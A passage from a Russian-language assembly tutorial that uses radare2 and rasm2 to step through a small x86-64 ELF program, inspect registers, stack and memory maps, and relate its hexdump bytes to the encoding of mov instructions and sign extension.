             0x00400087      48c7c3020000.  movq $2, %rbx&lt;br /&gt;
             0x0040008e      48c7c1030000.  movq $3, %rcx&lt;br /&gt;
             0x00400095      48c7c2040000.  movq $4, %rdx&lt;br /&gt;
             0x0040009c      48c7c6050000.  movq $5, %rsi&lt;br /&gt;
             0x004000a3      48c7c7060000.  movq $6, %rdi&lt;br /&gt;
             0x004000aa      48c7c5070000.  movq $7, %rbp&lt;br /&gt;
             0x004000b1      48c7c4080000.  movq $8, %rsp&lt;br /&gt;
             0x004000b8      49c7c0090000.  movq $9, %r8&lt;br /&gt;
             0x004000bf      49c7c10a0000.  movq $0xa, %r9&lt;br /&gt;
             0x004000c6      49c7c20b0000.  movq $0xb, %r10             ; 11&lt;br /&gt;
             0x004000cd      49c7c30c0000.  movq $0xc, %r11             ; 12&lt;br /&gt;
             0x004000d4      49c7c40d0000.  movq $0xd, %r12             ; 13&lt;br /&gt;
             0x004000db      49c7c50e0000.  movq $0xe, %r13             ; 14&lt;br /&gt;
             0x004000e2      49c7c60f0000.  movq $0xf, %r14             ; 15&lt;br /&gt;
             0x004000e9      49c7c7100000.  movq $0x10, %r15            ; 16&lt;br /&gt;
             0x004000f0      0f0b           ud2&lt;br /&gt;
И мы получили это в том же синтаксисе, что и в исходном коде. С синтаксисом intel мы тоже вне всякого сомнения познакомимся, но не сейчас. Кроме того, тут еще есть проблема, что hex длинных опкодов выводится не полностью. Например тут&lt;br /&gt;
             0x00400080      48c7c0010000.  movq $1, %rax&lt;br /&gt;
                                         ^&lt;br /&gt;
Мы видим точку в конце, это означает что оно обрезано. Чтобы это исправить, можно изменить значение asm.nbytes. Посмотреть значение asm.nbytes и изменить его можно вот так&lt;br /&gt;
 [0x00400080]&amp;gt; e asm.nbytes&lt;br /&gt;
 6&lt;br /&gt;
 [0x00400080]&amp;gt; e asm.nbytes=15&lt;br /&gt;
             ;-- entry0:&lt;br /&gt;
             ;-- section..text:&lt;br /&gt;
             ;-- _start:&lt;br /&gt;
             ;-- rip:&lt;br /&gt;
             0x00400080      48c7c001000000                                                 movq $1, %rax ; [1] va=0x00400080 pa=0x00000080 sz=114 vsz=114 rwx=--r-x .text&lt;br /&gt;
             0x00400087      48c7c302000000                                                 movq $2, %rbx&lt;br /&gt;
             0x0040008e      48c7c103000000                                                 movq $3, %rcx&lt;br /&gt;
             0x00400095      48c7c204000000                                                 movq $4, %rdx&lt;br /&gt;
             0x0040009c      48c7c605000000                                                 movq $5, %rsi&lt;br /&gt;
Теперь шестнадцатиричное представление инструкции выводится без сокращения.&lt;br /&gt;
&lt;br /&gt;
Можно в rc файле  &amp;lt;code&amp;gt;~/.radare2rc&amp;lt;/code&amp;gt; прописать &amp;lt;code&amp;gt;e asm.syntax=att&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;e asm.nbytes=30&amp;lt;/code&amp;gt;, таким образом у нас эти переменные будет выставлены в нужные значения сразу же при запуске. Чтобы просмотреть список всех этих выставляемых переменных, можно ввести &amp;lt;code&amp;gt;e&amp;lt;/code&amp;gt;. В radare2 так же работает автодополнение по нажатию &amp;lt;code&amp;gt;Tab&amp;lt;/code&amp;gt;, можно прочитать встроенную справку, введя к примеру &amp;lt;code&amp;gt;pd?&amp;lt;/code&amp;gt; (т. е. добавив вопросительный знак в конце).&lt;br /&gt;
&lt;br /&gt;
Взглянем на начальное состояние регистров:&lt;br /&gt;
 [0x00400080]&amp;gt; dr=&lt;br /&gt;
 orax 0x0000003b           rax 0x00000000           rbx 0x00000000&lt;br /&gt;
  rcx 0x00000000           rdx 0x00000000            r8 0x00000000&lt;br /&gt;
   r9 0x00000000           r10 0x00000000           r11 0x00000000&lt;br /&gt;
  r12 0x00000000           r13 0x00000000           r14 0x00000000&lt;br /&gt;
  r15 0x00000000           rsi 0x00000000           rdi 0x00000000&lt;br /&gt;
  rsp 0x7fffae9975e0       rbp 0x00000000           rip 0x00400080&lt;br /&gt;
  rflags I           &lt;br /&gt;
Это далеко не все регистры, кроме того, регистр orax это не регистр вовсе. &amp;lt;code&amp;gt;rsp&amp;lt;/code&amp;gt; у нас не нулевой, он указывает на стек, с ним мы поработаем несколько позже. &amp;lt;code&amp;gt;rip&amp;lt;/code&amp;gt; это instruction pointer т. е. указатель на инструкции, он содержит в себе адрес. В данном случае, ни одной инструкции еще не было выполнено, и rip совпадает с Entry point address который нам показал readelf — &amp;lt;code&amp;gt;0x400080&amp;lt;/code&amp;gt;. Кроме того, обратим внимание на &amp;lt;code&amp;gt;;-- rip:&amp;lt;/code&amp;gt;&lt;br /&gt;
             ;-- rip:&lt;br /&gt;
             0x00400080      48c7c0010000.  movq $1, %rax               ; [1] va=0x00400080 pa=0x00000080 sz=114 vsz=114 rwx=--r-x .text&lt;br /&gt;
             0x00400087      48c7c3020000.  movq $2, %rbx&lt;br /&gt;
Тут мы видим что этот самый регистр rip указывает на конкретно вот эту инструкцию &amp;lt;code&amp;gt;movq $1, %rax&amp;lt;/code&amp;gt;. Слева напротив самой мнемоники мы видим &amp;lt;code&amp;gt;48c7c0010000&amp;lt;/code&amp;gt; — это то, как эта самая инструкция закодирована, т.е. ее представление в 16-ричной системе счисления. Выполним одну инструкцию, после чего дизассемблируем опять и посмотрим на состояние регистров&lt;br /&gt;
 [0x00400080]&amp;gt; ds 1&lt;br /&gt;
 [0x00400080]&amp;gt; pd 5&lt;br /&gt;
             ;-- entry0:&lt;br /&gt;
             ;-- section..text:&lt;br /&gt;
             ;-- _start:&lt;br /&gt;
             0x00400080      48c7c001000000  movq $1, %rax               ; [1] va=0x00400080 pa=0x00000080 sz=114 vsz=114 rwx=--r-x .text&lt;br /&gt;
             ;-- rip:&lt;br /&gt;
             0x00400087      48c7c302000000  movq $2, %rbx&lt;br /&gt;
             0x0040008e      48c7c103000000  movq $3, %rcx&lt;br /&gt;
             0x00400095      48c7c204000000  movq $4, %rdx&lt;br /&gt;
             0x0040009c      48c7c605000000  movq $5, %rsi&lt;br /&gt;
 [0x00400080]&amp;gt; dr=&lt;br /&gt;
 orax 0xffffffffffffffff   rax 0x00000001           rbx 0x00000000&lt;br /&gt;
  rcx 0x00000000           rdx 0x00000000            r8 0x00000000&lt;br /&gt;
   r9 0x00000000           r10 0x00000000           r11 0x00000000&lt;br /&gt;
  r12 0x00000000           r13 0x00000000           r14 0x00000000&lt;br /&gt;
  r15 0x00000000           rsi 0x00000000           rdi 0x00000000&lt;br /&gt;
  rsp 0x7fffe24a9f60       rbp 0x00000000           rip 0x00400087&lt;br /&gt;
  rflags 1I         &lt;br /&gt;
Видно, что &amp;lt;code&amp;gt;;-- rip:&amp;lt;/code&amp;gt; у нас сместился на одну строчку ниже, и значение &amp;lt;code&amp;gt;rip&amp;lt;/code&amp;gt; изменилось, оно стало равным &amp;lt;code&amp;gt;0x00400087&amp;lt;/code&amp;gt;, т. е. теперь оно указывает на вторую инструкцию. Первая инструкция &amp;lt;code&amp;gt;movq $1, %rax&amp;lt;/code&amp;gt; была успешно выполнена, и мы можем видеть что в регистре &amp;lt;code&amp;gt;rax&amp;lt;/code&amp;gt; у нас хранится значение &amp;lt;code&amp;gt;0x00000001&amp;lt;/code&amp;gt;. Можно не делать все пошагово, а просто дать нашей программе успешно наткнуться на инструкцию &amp;lt;code&amp;gt;ud2&amp;lt;/code&amp;gt; и таким образом упасть. Тогда мы посмотрим состояние регистров и убедимся что в них записаны соответствующие значения&lt;br /&gt;
 [0x00400080]&amp;gt; dc&lt;br /&gt;
 attach 9766 1&lt;br /&gt;
 [+] signal 4 aka SIGILL received 0&lt;br /&gt;
 [0x004000f0]&amp;gt; &lt;br /&gt;
Как мы можем видеть, наш процесс получил сигнал SIGILL. В POSIX-системах, SIGILL — сигнал, посылаемый процессу при попытке выполнить неправильно сформированную, несуществующую или привилегированную инструкцию. Инструкция &amp;lt;code&amp;gt;ud2&amp;lt;/code&amp;gt; является некорректной, притом ее некорректность закреплена в документации интел и амд. Обычно после SIGILL следует завершение с дампом памяти(в чем мы ранее убедились), но сейчас мы работаем в отладчике. Мы можем посмотреть состояние регистров&lt;br /&gt;
 [0x004000f0]&amp;gt; dr=&lt;br /&gt;
 orax 0xffffffffffffffff   rax 0x00000001           rbx 0x00000002&lt;br /&gt;
  rcx 0x00000003           rdx 0x00000004            r8 0x00000009&lt;br /&gt;
   r9 0x0000000a           r10 0x0000000b           r11 0x0000000c&lt;br /&gt;
  r12 0x0000000d           r13 0x0000000e           r14 0x0000000f&lt;br /&gt;
  r15 0x00000010           rsi 0x00000005           rdi 0x00000006&lt;br /&gt;
  rsp 0x00000008           rbp 0x00000007           rip 0x004000f0&lt;br /&gt;
  rflags 1IV        &lt;br /&gt;
И действительно, в регистры были записаны соответствующие значения. Что можно сделать еще? Давайте перезапустим наш процесс и попробуем поработать в visual mode. Посмотрев встроенную помощь &amp;lt;code&amp;gt;d?&amp;lt;/code&amp;gt; можно найти нужную для этого команду&lt;br /&gt;
 | do                      Open process (reload, alias for 'oo')&lt;br /&gt;
попробуем:&lt;br /&gt;
 [0x004000f0]&amp;gt; do&lt;br /&gt;
 Wait event received by different pid 9792&lt;br /&gt;
 Process with PID 9821 started...&lt;br /&gt;
 File dbg://./test1 reopened in read-write mode&lt;br /&gt;
 attach 9821 9821&lt;br /&gt;
 Assuming filepath ./test1&lt;br /&gt;
 Warning: Cannot initialize dynamic strings&lt;br /&gt;
 [0x00400080]&amp;gt; V&lt;br /&gt;
...&lt;br /&gt;
 [0x00400080 608 ./test1]&amp;gt; x @ entry0                                 &lt;br /&gt;
 - offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&lt;br /&gt;
 0x00400080  48c7 c001 0000 0048 c7c3 0200 0000 48c7  H......H......H.&lt;br /&gt;
 0x00400090  c103 0000 0048 c7c2 0400 0000 48c7 c605  .....H......H...&lt;br /&gt;
 0x004000a0  0000 0048 c7c7 0600 0000 48c7 c507 0000  ...H......H.....&lt;br /&gt;
 0x004000b0  0048 c7c4 0800 0000 49c7 c009 0000 0049  .H......I......I&lt;br /&gt;
 0x004000c0  c7c1 0a00 0000 49c7 c20b 0000 0049 c7c3  ......I......I..&lt;br /&gt;
 0x004000d0  0c00 0000 49c7 c40d 0000 0049 c7c5 0e00  ....I......I....&lt;br /&gt;
 0x004000e0  0000 49c7 c60f 0000 0049 c7c7 1000 0000  ..I......I......&lt;br /&gt;
 0x004000f0  0f0b 002e 7379 6d74 6162 002e 7374 7274  ....symtab..strt&lt;br /&gt;
 0x00400100  6162 002e 7368 7374 7274 6162 002e 7465  ab..shstrtab..te&lt;br /&gt;
 0x00400110  7874 0000 0000 0000 0000 0000 0000 0000  xt..............&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Это немного не то, что нам надо. Переключим режим отображения, нажав на кнопку &amp;lt;code&amp;gt;p&amp;lt;/code&amp;gt; некоторое количество раз, пока мы не увидем перед собой такой картины:&lt;br /&gt;
&lt;br /&gt;
 [0x00400080 170 ./test1]&amp;gt; ?0;f tmp;s.. @ entry0&lt;br /&gt;
 - offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&lt;br /&gt;
 0x7ffebe940b40  0100 0000 0000 0000 0e27 94be fe7f 0000  .........'......&lt;br /&gt;
 0x7ffebe940b50  0000 0000 0000 0000 1627 94be fe7f 0000  .........'......&lt;br /&gt;
 0x7ffebe940b60  5027 94be fe7f 0000 5b27 94be fe7f 0000  P'......['......&lt;br /&gt;
 0x7ffebe940b70  8027 94be fe7f 0000 9227 94be fe7f 0000  .'.......'......&lt;br /&gt;
 orax 0x0000003b           rax 0x00000000           rbx 0x00000000&lt;br /&gt;
  rcx 0x00000000           rdx 0x00000000            r8 0x00000000&lt;br /&gt;
   r9 0x00000000           r10 0x00000000           r11 0x00000000&lt;br /&gt;
  r12 0x00000000           r13 0x00000000           r14 0x00000000&lt;br /&gt;
  r15 0x00000000           rsi 0x00000000           rdi 0x00000000&lt;br /&gt;
  rsp 0x7ffebe940b40       rbp 0x00000000           rip 0x00400080&lt;br /&gt;
  rflags I&lt;br /&gt;
             ;-- entry0:&lt;br /&gt;
             ;-- section..text:&lt;br /&gt;
             ;-- _start:&lt;br /&gt;
             ;-- rip:&lt;br /&gt;
             0x00400080      48c7c001000000  movq $1, %rax               ; [1] va=0x00400080 pa=0x00000080 sz=114 vsz=114 rwx=--r-x .text&lt;br /&gt;
             0x00400087      48c7c302000000  movq $2, %rbx&lt;br /&gt;
             0x0040008e      48c7c103000000  movq $3, %rcx&lt;br /&gt;
             0x00400095      48c7c204000000  movq $4, %rdx&lt;br /&gt;
             0x0040009c      48c7c605000000  movq $5, %rsi&lt;br /&gt;
             0x004000a3      48c7c706000000  movq $6, %rdi&lt;br /&gt;
             0x004000aa      48c7c507000000  movq $7, %rbp&lt;br /&gt;
             0x004000b1      48c7c408000000  movq $8, %rsp&lt;br /&gt;
             0x004000b8      49c7c009000000  movq $9, %r8&lt;br /&gt;
             0x004000bf      49c7c10a000000  movq $0xa, %r9&lt;br /&gt;
             0x004000c6      49c7c20b000000  movq $0xb, %r10             ; 11&lt;br /&gt;
             0x004000cd      49c7c30c000000  movq $0xc, %r11             ; 12&lt;br /&gt;
             0x004000d4      49c7c40d000000  movq $0xd, %r12             ; 13&lt;br /&gt;
             0x004000db      49c7c50e000000  movq $0xe, %r13             ; 14&lt;br /&gt;
             0x004000e2      49c7c60f000000  movq $0xf, %r14             ; 15&lt;br /&gt;
             0x004000e9      49c7c710000000  movq $0x10, %r15            ; 16&lt;br /&gt;
             0x004000f0      0f0b            ud2&lt;br /&gt;
Вот в таком представлении мы и будем работать. Теперь, используя кнопку &amp;lt;code&amp;gt;F7&amp;lt;/code&amp;gt; или &amp;lt;code&amp;gt;s&amp;lt;/code&amp;gt; мы можем пошагово выполнять инструкции, сразу же видя изменения в соответствующих регистрах процессора. При этом регистры, изменяющие свои значения, будут подсвечиваться. И метка &amp;lt;code&amp;gt;;-- rip:&amp;lt;/code&amp;gt; (как и значение самого регистра  &amp;lt;code&amp;gt;rip&amp;lt;/code&amp;gt;) будет смещаться вниз на каждом шаге, пока не дойдет до этой некорректной &amp;lt;code&amp;gt;ud2&amp;lt;/code&amp;gt; инструкции. Можно еще обратить внимание, что когда будет выполнена инструкция &amp;lt;code&amp;gt;mov rsp, 8&amp;lt;/code&amp;gt; вот эта часть&lt;br /&gt;
 - offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&lt;br /&gt;
 0x7ffea3cb7960  0100 0000 0000 0000 0f87 cba3 fe7f 0000  ................&lt;br /&gt;
 0x7ffea3cb7970  0000 0000 0000 0000 1787 cba3 fe7f 0000  ................&lt;br /&gt;
 0x7ffea3cb7980  5187 cba3 fe7f 0000 5c87 cba3 fe7f 0000  Q.......\.......&lt;br /&gt;
 0x7ffea3cb7990  8187 cba3 fe7f 0000 9387 cba3 fe7f 0000  ................&lt;br /&gt;
Будет показывать что-то совсем другое, а именно&lt;br /&gt;
 - offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&lt;br /&gt;
 0x00000008  ffff ffff ffff ffff ffff ffff ffff ffff  ................&lt;br /&gt;
 0x00000018  ffff ffff ffff ffff ffff ffff ffff ffff  ................&lt;br /&gt;
 0x00000028  ffff ffff ffff ffff ffff ffff ffff ffff  ................&lt;br /&gt;
 0x00000038  ffff ffff ffff ffff ffff ffff ffff ffff  ................&lt;br /&gt;
И адрес начинаться будет с &amp;lt;code&amp;gt;0x00000008&amp;lt;/code&amp;gt;. Тут в этой области нам показывают содержимое стека, и когда мы меняем регистр, хранящий адрес стека (присваиваем ему число 8), мы попадаем на адреса, на которые не отображена никакая физическая память. Процесс работает не с реальными (физическими) адресами, а с виртуальными (это обеспечивается через MMU) и в это виртуальное адресное пространство процесса по тем адресам ничего нет. Можно кстати посмотреть process maps, набрав &amp;lt;code&amp;gt;dm&amp;lt;/code&amp;gt;. Выйти из visual mode можно комбинацией &amp;lt;code&amp;gt;Ctrl+D&amp;lt;/code&amp;gt; или &amp;lt;code&amp;gt;q&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [0x0040006b]&amp;gt; dm&lt;br /&gt;
 sys   4K 0x0000000000400000 * 0x0000000000401000 s -r-x /home/user/learn/asm/01_test/1/test1 /home/user/learn/asm/01_test/1/test1&lt;br /&gt;
 sys 132K 0x00007ffd22881000 - 0x00007ffd228a2000 s -rwx [stack] [stack]&lt;br /&gt;
 sys   8K 0x00007ffd22917000 - 0x00007ffd22919000 s -r-x [vdso] [vdso]&lt;br /&gt;
 sys   4K 0xffffffffff600000 - 0xffffffffff601000 s -r-x [vsyscall] [vsyscall]&lt;br /&gt;
&lt;br /&gt;
Тут видно, что на адреса от &amp;lt;code&amp;gt;0x0000000000400000 * 0x0000000000401000&amp;lt;/code&amp;gt; отображено содержимое секции text из нашего elf файле, занимает оно &amp;lt;code&amp;gt;0x1000&amp;lt;/code&amp;gt; байт (16-ричная система счисления).&lt;br /&gt;
&amp;lt;code&amp;gt;readelf&amp;lt;/code&amp;gt; показал нам ранее точку входа:&lt;br /&gt;
   Entry point address:               0x400080&lt;br /&gt;
которая не совпадает с адресом 0x400000&lt;br /&gt;
&lt;br /&gt;
Давайте же посмотрим на наш elf файл в 16-ричной системе счисления&lt;br /&gt;
 user@localhost:~/learn/asm/01_test/1$ hexdump -C test1&lt;br /&gt;
 00000000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|&lt;br /&gt;
 00000010  02 00 3e 00 01 00 00 00  80 00 40 00 00 00 00 00  |..&amp;gt;.......@.....|&lt;br /&gt;
 00000020  40 00 00 00 00 00 00 00  18 01 00 00 00 00 00 00  |@...............|&lt;br /&gt;
 00000030  00 00 00 00 40 00 38 00  01 00 40 00 05 00 02 00  |....@.8...@.....|&lt;br /&gt;
 00000040  01 00 00 00 05 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
 00000050  00 00 40 00 00 00 00 00  00 00 40 00 00 00 00 00  |..@.......@.....|&lt;br /&gt;
 00000060  f2 00 00 00 00 00 00 00  f2 00 00 00 00 00 00 00  |................|&lt;br /&gt;
 00000070  00 00 20 00 00 00 00 00  00 00 00 00 00 00 00 00  |.. .............|&lt;br /&gt;
 00000080  48 c7 c0 01 00 00 00 48  c7 c3 02 00 00 00 48 c7  |H......H......H.|&lt;br /&gt;
 00000090  c1 03 00 00 00 48 c7 c2  04 00 00 00 48 c7 c6 05  |.....H......H...|&lt;br /&gt;
 000000a0  00 00 00 48 c7 c7 06 00  00 00 48 c7 c5 07 00 00  |...H......H.....|&lt;br /&gt;
 000000b0  00 48 c7 c4 08 00 00 00  49 c7 c0 09 00 00 00 49  |.H......I......I|&lt;br /&gt;
 000000c0  c7 c1 0a 00 00 00 49 c7  c2 0b 00 00 00 49 c7 c3  |......I......I..|&lt;br /&gt;
 000000d0  0c 00 00 00 49 c7 c4 0d  00 00 00 49 c7 c5 0e 00  |....I......I....|&lt;br /&gt;
 000000e0  00 00 49 c7 c6 0f 00 00  00 49 c7 c7 10 00 00 00  |..I......I......|&lt;br /&gt;
 000000f0  0f 0b 00 2e 73 79 6d 74  61 62 00 2e 73 74 72 74  |....symtab..strt|&lt;br /&gt;
 00000100  61 62 00 2e 73 68 73 74  72 74 61 62 00 2e 74 65  |ab..shstrtab..te|&lt;br /&gt;
 00000110  78 74 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |xt..............|&lt;br /&gt;
 00000120  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
 *&lt;br /&gt;
 00000150  00 00 00 00 00 00 00 00  1b 00 00 00 01 00 00 00  |................|&lt;br /&gt;
 00000160  06 00 00 00 00 00 00 00  80 00 40 00 00 00 00 00  |..........@.....|&lt;br /&gt;
 00000170  80 00 00 00 00 00 00 00  72 00 00 00 00 00 00 00  |........r.......|&lt;br /&gt;
 00000180  00 00 00 00 00 00 00 00  10 00 00 00 00 00 00 00  |................|&lt;br /&gt;
 00000190  00 00 00 00 00 00 00 00  11 00 00 00 03 00 00 00  |................|&lt;br /&gt;
 000001a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
 000001b0  f2 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00  |........!.......|&lt;br /&gt;
 000001c0  00 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00  |................|&lt;br /&gt;
 000001d0  00 00 00 00 00 00 00 00  01 00 00 00 02 00 00 00  |................|&lt;br /&gt;
 000001e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
 000001f0  58 02 00 00 00 00 00 00  90 00 00 00 00 00 00 00  |X...............|&lt;br /&gt;
 00000200  04 00 00 00 02 00 00 00  08 00 00 00 00 00 00 00  |................|&lt;br /&gt;
 00000210  18 00 00 00 00 00 00 00  09 00 00 00 03 00 00 00  |................|&lt;br /&gt;
 00000220  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
 00000230  e8 02 00 00 00 00 00 00  20 00 00 00 00 00 00 00  |........ .......|&lt;br /&gt;
 00000240  00 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00  |................|&lt;br /&gt;
 00000250  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&lt;br /&gt;
 *&lt;br /&gt;
 00000270  00 00 00 00 03 00 01 00  80 00 40 00 00 00 00 00  |..........@.....|&lt;br /&gt;
 00000280  00 00 00 00 00 00 00 00  01 00 00 00 12 00 01 00  |................|&lt;br /&gt;
 00000290  80 00 40 00 00 00 00 00  72 00 00 00 00 00 00 00  |..@.....r.......|&lt;br /&gt;
 000002a0  08 00 00 00 10 00 01 00  f2 00 60 00 00 00 00 00  |..........`.....|&lt;br /&gt;
 000002b0  00 00 00 00 00 00 00 00  14 00 00 00 10 00 01 00  |................|&lt;br /&gt;
 000002c0  f2 00 60 00 00 00 00 00  00 00 00 00 00 00 00 00  |..`.............|&lt;br /&gt;
 000002d0  1b 00 00 00 10 00 01 00  f8 00 60 00 00 00 00 00  |..........`.....|&lt;br /&gt;
 000002e0  00 00 00 00 00 00 00 00  00 5f 73 74 61 72 74 00  |........._start.|&lt;br /&gt;
 000002f0  5f 5f 62 73 73 5f 73 74  61 72 74 00 5f 65 64 61  |__bss_start._eda|&lt;br /&gt;
 00000300  74 61 00 5f 65 6e 64 00                           |ta._end.|&lt;br /&gt;
 00000308&lt;br /&gt;
В самом начале у нас есть ELF заголовок, последовательность байт &amp;lt;code&amp;gt;7f 45 4c 46&amp;lt;/code&amp;gt;, дальше всякая служебная информация, например где точка входа, на какие адреса что отображать. Это мы возможно разберем потом.&lt;br /&gt;
&lt;br /&gt;
Сейчас же, обратим внимание на вот эту часть нашего вывода, которая начинается с 00000080:&lt;br /&gt;
 00000080  48 c7 c0 01 00 00 00 48  c7 c3 02 00 00 00 48 c7  |H......H......H.|&lt;br /&gt;
И идущее далее. Если мы посмотрим на дизасм, который нам выдавал radare2&lt;br /&gt;
                             { вот это вот} &lt;br /&gt;
             0x00400080      48c7c001000000  movq $1, %rax               ; [1] va=0x00400080 pa=0x00000080 sz=114 vsz=114 rwx=--r-x .text&lt;br /&gt;
             0x00400087      48c7c302000000  movq $2, %rbx&lt;br /&gt;
То можно увидеть полное соответствие, инструкция &amp;lt;code&amp;gt;mov rax, 1&amp;lt;/code&amp;gt; кодируется последовательностью байтов &amp;lt;code&amp;gt;48 c7 c0 01 00 00&amp;lt;/code&amp;gt;, эту последовательность мы видем и в дизасме radare2, и в выводе hexdump. Можно это показать&lt;br /&gt;
           {    mov $1, %rax  } {    mov $2, %rbx   } { ...&lt;br /&gt;
 00000080  48 c7 c0 01 00 00 00 48  c7 c3 02 00 00 00 48 c7  |H......H......H.|&lt;br /&gt;
Только в radare2 мы видем все по смещению 00400080 а в самом файле по смещению 00000080. Это все можно легко проверить. Используя &amp;lt;code&amp;gt;rasm2&amp;lt;/code&amp;gt; мы можем ассемблировать и дизассемблировать. &amp;lt;code&amp;gt;rasm2 -L&amp;lt;/code&amp;gt; покажет список доступных движков для ассемблирования и дизассемблирования. Можно легко отфильтровать те, которые нас на данный момент интересуют: &amp;lt;code&amp;gt;rasm2 -L | grep x86&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Мы будем пользоваться &amp;lt;code&amp;gt;x86.as&amp;lt;/code&amp;gt; для ассемблирования и &amp;lt;code&amp;gt;x86&amp;lt;/code&amp;gt; для дизассемблирования. Для примера, попробуем дизассемблировать &amp;lt;code&amp;gt;48 c7 c0 01 00 00 00&amp;lt;/code&amp;gt;:&lt;br /&gt;
 $ rasm2 -a x86 -s att -b 64 -d '48 c7 c0 01 00 00 00'&lt;br /&gt;
 movq $1, %rax&lt;br /&gt;
 $ rasm2 -a x86 -s att -b 64 -d '48c7c001000000'&lt;br /&gt;
 movq $1, %rax&lt;br /&gt;
Как мы видим, пробелы в строке полностью игнорируются. А ассемблировать можно так:&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'mov $1, %rax'&lt;br /&gt;
 48c7c001000000&lt;br /&gt;
Для интел синтаксиса порядок операторов другой и нет «%» и «$» перед регистром и числовым значением соответствено:&lt;br /&gt;
 $ rasm2 -a x86.as -s intel -b 64 'mov rax, 1'&lt;br /&gt;
 48c7c001000000&lt;br /&gt;
Забегая вперед, скажу, что для более сложных инструкций отличия будут более значительны, например инструкция lea:&lt;br /&gt;
 $ rasm2 -a x86.as -s intel -b 64 'lea rax, [rax+rbx*2+4]'&lt;br /&gt;
 488d445804&lt;br /&gt;
 $ rasm2 -a x86.as -s att -b 64 'leaq 4(%rax, %rbx, 2), %rax'&lt;br /&gt;
 488d445804&lt;br /&gt;
Эта инструкция выполняет действие rax = rax + rbx*2 + 4 и тут intel синтаксис оказывается значительно более понятным.&lt;br /&gt;
&lt;br /&gt;
Каждая «цифра» в 16-ричной системе счисления кодирует по 4 бита. &amp;lt;code&amp;gt;f&amp;lt;/code&amp;gt; например кодирует &amp;lt;code&amp;gt;1111&amp;lt;/code&amp;gt; в двоичной системе, а &amp;lt;code&amp;gt;7&amp;lt;/code&amp;gt; кодирует &amp;lt;code&amp;gt;0111&amp;lt;/code&amp;gt;. Пара «цифр» в 16-ричной системе счисления образует 8-битный байт (бывают и байты другой битности, но мы их не будем рассматривать в рамках этой книги). Если мы вышеобозначенный &amp;lt;code&amp;gt;f&amp;lt;/code&amp;gt; заменим на &amp;lt;code&amp;gt;7&amp;lt;/code&amp;gt; то последний байт будет &amp;lt;code&amp;gt;0111 1111&amp;lt;/code&amp;gt; вместо &amp;lt;code&amp;gt;1111 1111&amp;lt;/code&amp;gt;.&lt;br /&gt;
 $ rasm2 -a x86.udis -s att -b 64 -d '48 c7 c0 ff ff ff 7f'&lt;br /&gt;
 mov $0x7fffffff, %rax&lt;br /&gt;
 $ rasm2 -a x86 -s att -b 64 -d '48 c7 c0 ff ff ff 7f'&lt;br /&gt;
 movq $0x7fffffff, %rax&lt;br /&gt;
И если заменить &amp;lt;code&amp;gt;7f&amp;lt;/code&amp;gt; на &amp;lt;code&amp;gt;8f&amp;lt;/code&amp;gt; (отчего последний байт станет &amp;lt;code&amp;gt;0111 1111&amp;lt;/code&amp;gt;), мы на выходе получим совсем другой результат:&lt;br /&gt;
 $ rasm2 -a x86 -s att -b 64 -d '48 c7 c0 ff ff ff 8f'&lt;br /&gt;
 movq $-0x70000001, %rax&lt;br /&gt;
 $ rasm2 -a x86.udis -s att -b 64 -d '48 c7 c0 ff ff ff 8f'&lt;br /&gt;
 mov $0xffffffff8fffffff, %rax&lt;br /&gt;
Очевидно, что такой вот инструкцией &amp;lt;code&amp;gt;movq&amp;lt;/code&amp;gt; мы не можем вписать в 64-битный регистр произвольное число от &amp;lt;code&amp;gt;ffffffffffffffff&amp;lt;/code&amp;gt; до &amp;lt;code&amp;gt;0000000000000000&amp;lt;/code&amp;gt; — количество байт, выделенное в опкоде под запись непосредственно того числа, которое мы хотим поместить в регистр, слишком мало. Тут происходит так называемое знаковое расширение, о чем более подробно будет сказано позже.&lt;br /&gt;
&lt;br /&gt;
Рассмотрим кодирование инструкции более подробно: &amp;lt;code&amp;gt;48 c7 c_ ?? ?? ?? ??&amp;lt;/code&amp;gt;, где вопросительные знаки это то число, которое мы собственно и записываем в регистр. При этом используется порядок байт little endian (см. https://en.wikipedia.org/wiki/Endianness) т. е. чтоб записать единицу, необходимо сделать &amp;lt;code&amp;gt;48 c7 c_ 01 00 00 00&amp;lt;/code&amp;gt;. И последний бит, как уже было ранее сказано, выставляет в &amp;lt;code&amp;gt;ffff...&amp;lt;/code&amp;gt; или в &amp;lt;code&amp;gt;0000...&amp;lt;/code&amp;gt; старшую часть 64-битного регистра (знаковое расширение), т. е. это означает, что &amp;lt;code&amp;gt;48 c7 c_ 01 00 00 00&amp;lt;/code&amp;gt; запишет в регистр &amp;lt;code&amp;gt;0x1&amp;lt;/code&amp;gt;, а например &amp;lt;code&amp;gt;48 c7 c_ 00 01 00 00&amp;lt;/code&amp;gt; запишет уже &amp;lt;code&amp;gt;0x100&amp;lt;/code&amp;gt;. А если &amp;lt;code&amp;gt;00 00 00 80&amp;lt;/code&amp;gt; то записано будет число &amp;lt;code&amp;gt;ffffffff80000000&amp;lt;/code&amp;gt;. Символом подчеркивания &amp;lt;code&amp;gt;_&amp;lt;/code&amp;gt; тут &amp;lt;code&amp;gt;48 c7 c_ ?? ?? ?? ??&amp;lt;/code&amp;gt; обозначена та часть, меняя которую мы можем изменить то, в какой конкретно регистр будет записано наше число. Например, 